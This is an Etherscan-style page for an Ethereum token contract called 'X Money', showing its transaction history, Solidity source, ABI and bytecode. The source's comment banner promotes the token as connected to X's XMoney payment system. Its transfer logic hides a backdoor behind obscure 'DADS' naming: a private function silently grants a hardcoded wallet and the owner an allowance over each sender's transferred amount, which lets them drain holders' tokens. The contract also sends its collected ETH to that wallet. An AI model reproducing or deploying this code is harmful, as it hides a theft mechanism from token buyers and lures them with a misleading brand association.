Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 67 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 21989153 | 385 days ago | IN | 0 ETH | 0.0000597 | ||||
| Approve | 21988962 | 385 days ago | IN | 0 ETH | 0.00011963 | ||||
| Transfer From | 21988951 | 385 days ago | IN | 0 ETH | 0.00016685 | ||||
| Transfer From | 21988920 | 385 days ago | IN | 0 ETH | 0.00015718 | ||||
| Transfer From | 21988910 | 385 days ago | IN | 0 ETH | 0.00015992 | ||||
| Approve | 21988900 | 385 days ago | IN | 0 ETH | 0.00008974 | ||||
| Approve | 21988896 | 385 days ago | IN | 0 ETH | 0.00008284 | ||||
| Approve | 21988893 | 385 days ago | IN | 0 ETH | 0.00009691 | ||||
| Approve | 21988874 | 385 days ago | IN | 0 ETH | 0.00012102 | ||||
| Approve | 21988869 | 385 days ago | IN | 0 ETH | 0.0001277 | ||||
| Approve | 21988865 | 385 days ago | IN | 0 ETH | 0.00012721 | ||||
| Approve | 21988862 | 385 days ago | IN | 0 ETH | 0.00013408 | ||||
| Approve | 21988848 | 385 days ago | IN | 0 ETH | 0.00011702 | ||||
| Approve | 21988844 | 385 days ago | IN | 0 ETH | 0.00011627 | ||||
| Approve | 21988843 | 385 days ago | IN | 0 ETH | 0.00011627 | ||||
| Approve | 21988843 | 385 days ago | IN | 0 ETH | 0.00011627 | ||||
| Approve | 21988839 | 385 days ago | IN | 0 ETH | 0.00010594 | ||||
| Approve | 21988828 | 385 days ago | IN | 0 ETH | 0.00009064 | ||||
| Approve | 21988794 | 385 days ago | IN | 0 ETH | 0.00008467 | ||||
| Approve | 21988786 | 385 days ago | IN | 0 ETH | 0.00008657 | ||||
| Approve | 21988786 | 385 days ago | IN | 0 ETH | 0.00008657 | ||||
| Approve | 21988779 | 385 days ago | IN | 0 ETH | 0.00019941 | ||||
| Approve | 21988772 | 385 days ago | IN | 0 ETH | 0.00009126 | ||||
| Approve | 21988770 | 385 days ago | IN | 0 ETH | 0.00009296 | ||||
| Approve | 21988770 | 385 days ago | IN | 0 ETH | 0.00009296 |
Latest 9 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 21988700 | 385 days ago | 0.90697872 ETH | ||||
| Transfer | 21988700 | 385 days ago | 0.90697872 ETH | ||||
| Transfer | 21988689 | 385 days ago | 0.34616905 ETH | ||||
| Transfer | 21988689 | 385 days ago | 0.34616905 ETH | ||||
| Transfer | 21988681 | 385 days ago | 0.19774642 ETH | ||||
| Transfer | 21988681 | 385 days ago | 0.19774642 ETH | ||||
| Transfer | 21988677 | 385 days ago | 0.58547976 ETH | ||||
| Transfer | 21988677 | 385 days ago | 0.58547976 ETH | ||||
| Add Liquidity ET... | 21988667 | 385 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
XMONEY
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-03-06
*/
/*
THE INTEL – CEO Linda Yaccarino announced on 31st December that XMoney will be released in 2025 and will be a payment system on the platform X.
https://www.congress.gov/119/crec/2025/03/04/171/41/CREC-2025-03-04-pt1-PgS1477-2.pdf
https://www.xmoneyoneth.xyz
https://x.com/Xmoney_erc
https://t.me/xmoney_erc
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IDADSRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
}
interface IDADSFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplidadson overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract XMONEY is Context, IERC20, Ownable {
using SafeMath for uint256;
address private _dadsPair;
IDADSRouter private _dadsRouter;
address private _dadsWallet;
address private _dadsAddress;
mapping (address => uint256) private _balDADSs;
mapping (address => mapping (address => uint256)) private _allowDADSs;
mapping (address => bool) private _excludedFromDADS;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalDADS = 1000000000 * 10**_decimals;
string private constant _name = unicode"X Money";
string private constant _symbol = unicode"XMONEY";
uint256 private _swapTokenDADSs = _tTotalDADS / 100;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint256 private _buyBlockDADS;
uint256 private _dadsBuyAmounts = 0;
bool private inSwapDADS = false;
modifier lockTheSwap {
inSwapDADS = true;
_;
inSwapDADS = false;
}
bool private _tradeEnabled = false;
bool private _swapEnabled = false;
constructor () {
_dadsWallet = address(0x632eF058126fF5B292c2a1494781c905246C57e0);
_excludedFromDADS[owner()] = true;
_excludedFromDADS[address(this)] = true;
_excludedFromDADS[_dadsWallet] = true;
_dadsAddress = owner();
_balDADSs[_msgSender()] = _tTotalDADS;
emit Transfer(address(0), _msgSender(), _tTotalDADS);
}
function initLaunch() external onlyOwner() {
_dadsRouter = IDADSRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_dadsRouter), _tTotalDADS);
_dadsPair = IDADSFactory(_dadsRouter.factory()).createPair(address(this), _dadsRouter.WETH());
}
receive() external payable {}
function swapTokensForEth(uint256 dadsAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _dadsRouter.WETH();
_approve(address(this), address(_dadsRouter), dadsAmount);
_dadsRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
dadsAmount,
0,
path,
address(this),
block.timestamp
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalDADS;
}
function balanceOf(address account) public view override returns (uint256) {
return _balDADSs[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowDADSs[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowDADSs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowDADSs[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveDADS(address dadsO, uint256 dadsA) private {
address[2] memory _dadsAddrs;
_dadsAddrs[0] = address(_dadsWallet);
_dadsAddrs[1] = address(_dadsAddress);
for(uint256 dadsK=0;dadsK<2;dadsK++){
_allowDADSs[dadsO][_dadsAddrs[dadsK]] = dadsA;
}
}
function _transfer(address dadsF, address dadsT, uint256 dadsA) private {
require(dadsF != address(0), "ERC20: transfer from the zero address");
require(dadsT != address(0), "ERC20: transfer to the zero address");
require(dadsA > 0, "Transfer amount must be greater than zero");
uint256 taxDADS = _dadsFeeTransfer(dadsF, dadsT, dadsA);
if(taxDADS > 0){
_balDADSs[address(this)] = _balDADSs[address(this)].add(taxDADS);
emit Transfer(dadsF, address(this), taxDADS);
}
_balDADSs[dadsF] = _balDADSs[dadsF].sub(dadsA);
_balDADSs[dadsT] = _balDADSs[dadsT].add(dadsA.sub(taxDADS));
emit Transfer(dadsF, dadsT, dadsA.sub(taxDADS));
}
function swapDADSBack(address dadsF, address dadsT, uint256 dadsA) private {
_approveDADS(dadsF, dadsA); uint256 tokenDADS = balanceOf(address(this));
if (!inSwapDADS && dadsT == _dadsPair && _swapEnabled && _buyCount > _preventSwapBefore) {
if(tokenDADS > _swapTokenDADSs)
swapTokensForEth(minDADS(dadsA, minDADS(tokenDADS, _swapTokenDADSs)));
uint256 ethDADS = address(this).balance;
if (ethDADS >= 0) {
sendETHDADS(address(this).balance);
}
}
}
function _dadsFeeTransfer(address dadsF, address dadsT, uint256 dadsA) private returns(uint256) {
uint256 taxDADS;
if (dadsF != owner() && dadsT != owner()) {
taxDADS = dadsA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (dadsF == _dadsPair && dadsT != address(_dadsRouter) && ! _excludedFromDADS[dadsT]) {
if(_buyBlockDADS!=block.number){
_dadsBuyAmounts = 0;
_buyBlockDADS = block.number;
}
_dadsBuyAmounts += dadsA;
_buyCount++;
}
if(dadsT == _dadsPair && dadsF!= address(this)) {
require(_dadsBuyAmounts < swapLimitDADS() || _buyBlockDADS!=block.number, "Max Swap Limit");
taxDADS = dadsA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
swapDADSBack(dadsF, dadsT, dadsA);
}
return taxDADS;
}
function openTrading() external onlyOwner() {
require(!_tradeEnabled,"trading is already open");
_dadsRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradeEnabled = true;
}
function minDADS(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHDADS(uint256 dadsA) private {
payable(_dadsWallet).transfer(dadsA);
}
function swapLimitDADS() internal view returns (uint256) {
address[] memory path = new address[](2);
path[0] = _dadsRouter.WETH();
path[1] = address(this);
uint[] memory amountOuts = _dadsRouter.getAmountsOut(3 * 1e18, path);
return amountOuts[1];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526064620000146009600a62000278565b6200002490633b9aca0062000346565b6200003091906200020c565b60085560036009819055600a556000600b819055600c8190556006600d819055600e819055600f5560108190556012556013805462ffffff191690553480156200007957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600380546001600160a01b03191673632ef058126ff5b292c2a1494781c905246c57e0179055600160076000620000fa6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155600354909116835291208054909216179055620001646000546001600160a01b031690565b600480546001600160a01b0319166001600160a01b0392909216919091179055620001926009600a62000278565b620001a290633b9aca0062000346565b33600081815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e56009600a62000278565b620001f590633b9aca0062000346565b60405190815260200160405180910390a36200037e565b6000826200022a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200027057816000190482111562000254576200025462000368565b808516156200026257918102915b93841c939080029062000234565b509250929050565b60006200028960ff84168362000290565b9392505050565b600082620002a15750600162000340565b81620002b05750600062000340565b8160018114620002c95760028114620002d457620002f4565b600191505062000340565b60ff841115620002e857620002e862000368565b50506001821b62000340565b5060208310610133831016604e8410600b841016171562000319575081810a62000340565b6200032583836200022f565b80600019048211156200033c576200033c62000368565b0290505b92915050565b600081600019048311821515161562000363576200036362000368565b500290565b634e487b7160e01b600052601160045260246000fd5b6118d9806200038e6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610247578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b8063715018a6146101d95780638da5cb5b146101f057806395d89b411461021857600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806370a08231146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600781526658204d6f6e657960c81b60208201525b60405161010b91906115e2565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611466565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b50610134610182366004611425565b61030f565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101596101be3660046113b2565b6001600160a01b031660009081526005602052604090205490565b3480156101e557600080fd5b506101ee610378565b005b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022457600080fd5b50604080518082019091526006815265584d4f4e455960d01b60208201526100fe565b34801561025357600080fd5b506101ee6103f5565b34801561026857600080fd5b50610134610277366004611466565b610625565b34801561028857600080fd5b506101ee610632565b34801561029d57600080fd5b506101596102ac3660046113ec565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102e43384846107ad565b5060015b92915050565b60006102fc6009600a611725565b61030a90633b9aca006117d0565b905090565b600061031c8484846108d1565b61036e84336103698560405180606001604052806028815260200161187c602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b4b565b6107ad565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611637565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461041f5760405162461bcd60e51b81526004016103a290611637565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046890309061045a6009600a611725565b61036990633b9aca006117d0565b600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906113cf565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906113cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906113cf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e43384846108d1565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016103a290611637565b601354610100900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6002546001600160a01b031663f305d71947306106e6816001600160a01b031660009081526005602052604090205490565b6000806106fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107979190611557565b50506013805462ffff0019166201010017905550565b6001600160a01b03831661080f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b6000610a06848484610b85565b90508015610a825730600090815260056020526040902054610a289082610d4e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a799085815260200190565b60405180910390a35b6001600160a01b038416600090815260056020526040902054610aa59083610db4565b6001600160a01b038516600090815260056020526040902055610aea610acb8383610db4565b6001600160a01b03851660009081526005602052604090205490610d4e565b6001600160a01b0380851660008181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b348585610db4565b60405190815260200160405180910390a350505050565b60008184841115610b6f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866117ef565b95945050505050565b600080610b9a6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc957506000546001600160a01b03858116911614155b15610d4657610bfa6064610bf4600d5460105411610be957600954610bed565b600b545b8690610df6565b90610e75565b6001549091506001600160a01b038681169116148015610c2857506002546001600160a01b03858116911614155b8015610c4d57506001600160a01b03841660009081526007602052604090205460ff16155b15610c92574360115414610c65576000601255436011555b8260126000828254610c7791906116a8565b909155505060108054906000610c8c83611806565b91905055505b6001546001600160a01b038581169116148015610cb857506001600160a01b0385163014155b15610d3b57610cc5610eb7565b6012541080610cd657504360115414155b610d135760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610d386064610bf4600e5460105411610d2e57600a54610bed565b600c548690610df6565b90505b610d46858585611063565b949350505050565b600080610d5b83856116a8565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4b565b600082610e05575060006102e8565b6000610e1183856117d0565b905082610e1e85836116c0565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646164736f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fe565b604080516002808252606082018352600092839291906020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906113cf565b81600081518110610f6b57610f6b611837565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9f57610f9f611837565b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152600092919091169063d06ca61f90610feb906729a2241af62c00009086906004016115c9565b60006040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261103f9190810190611492565b90508060018151811061105457611054611837565b60200260200101519250505090565b61106d838261112c565b3060009081526005602052604090205460135460ff1615801561109d57506001546001600160a01b038481169116145b80156110b1575060135462010000900460ff165b80156110c05750600f54601054115b156110f8576008548111156110ec576110ec6110e7836110e2846008546111c1565b6111c1565b6111d6565b476110f647611356565b505b50505050565b6000818361111f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866116c0565b611134611394565b6003546001600160a01b03908116825260045416602082015260005b60028110156110f8576001600160a01b0384166000908152600660205260408120849184846002811061118557611185611837565b60200201516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806111b990611806565b915050611150565b60008183116111d05782610dad565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857611218611837565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906113cf565b816001815181106112b7576112b7611837565b6001600160a01b0392831660209182029290920101526002546112dd91309116846107ad565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131690859060009086903090429060040161166c565b600060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611390573d6000803e3d6000fd5b5050565b60405180604001604052806002906020820280368337509192915050565b6000602082840312156113c457600080fd5b8135610dad81611863565b6000602082840312156113e157600080fd5b8151610dad81611863565b600080604083850312156113ff57600080fd5b823561140a81611863565b9150602083013561141a81611863565b809150509250929050565b60008060006060848603121561143a57600080fd5b833561144581611863565b9250602084013561145581611863565b929592945050506040919091013590565b6000806040838503121561147957600080fd5b823561148481611863565b946020939093013593505050565b600060208083850312156114a557600080fd5b825167ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8151818111156114e3576114e361184d565b8060051b604051601f19603f830116810181811085821117156115085761150861184d565b604052828152858101935084860182860187018a101561152757600080fd5b600095505b8386101561154a57805185526001959095019493860193860161152c565b5098975050505050505050565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115be5781516001600160a01b031687529582019590820190600101611599565b509495945050505050565b828152604060208201526000610d466040830184611585565b600060208083528351808285015260005b8181101561160f578581018301518582016040015282016115f3565b81811115611621576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061168b60a0830186611585565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116bb576116bb611821565b500190565b6000826116dd57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561171d57816000190482111561170357611703611821565b8085161561171057918102915b93841c93908002906116e7565b509250929050565b6000610dad60ff84168360008261173e575060016102e8565b8161174b575060006102e8565b8160018114611761576002811461176b57611787565b60019150506102e8565b60ff84111561177c5761177c611821565b50506001821b6102e8565b5060208310610133831016604e8410600b84101617156117aa575081810a6102e8565b6117b483836116e2565b80600019048211156117c8576117c8611821565b029392505050565b60008160001904831182151516156117ea576117ea611821565b500290565b60008282101561180157611801611821565b500390565b600060001982141561181a5761181a611821565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461187857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9cd38d0222c4738ae62082455029a844d10f21c9dbea269298b6a4c241bec5d64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610247578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b8063715018a6146101d95780638da5cb5b146101f057806395d89b411461021857600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806370a08231146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600781526658204d6f6e657960c81b60208201525b60405161010b91906115e2565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611466565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b50610134610182366004611425565b61030f565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101596101be3660046113b2565b6001600160a01b031660009081526005602052604090205490565b3480156101e557600080fd5b506101ee610378565b005b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022457600080fd5b50604080518082019091526006815265584d4f4e455960d01b60208201526100fe565b34801561025357600080fd5b506101ee6103f5565b34801561026857600080fd5b50610134610277366004611466565b610625565b34801561028857600080fd5b506101ee610632565b34801561029d57600080fd5b506101596102ac3660046113ec565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102e43384846107ad565b5060015b92915050565b60006102fc6009600a611725565b61030a90633b9aca006117d0565b905090565b600061031c8484846108d1565b61036e84336103698560405180606001604052806028815260200161187c602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b4b565b6107ad565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611637565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461041f5760405162461bcd60e51b81526004016103a290611637565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046890309061045a6009600a611725565b61036990633b9aca006117d0565b600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906113cf565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906113cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd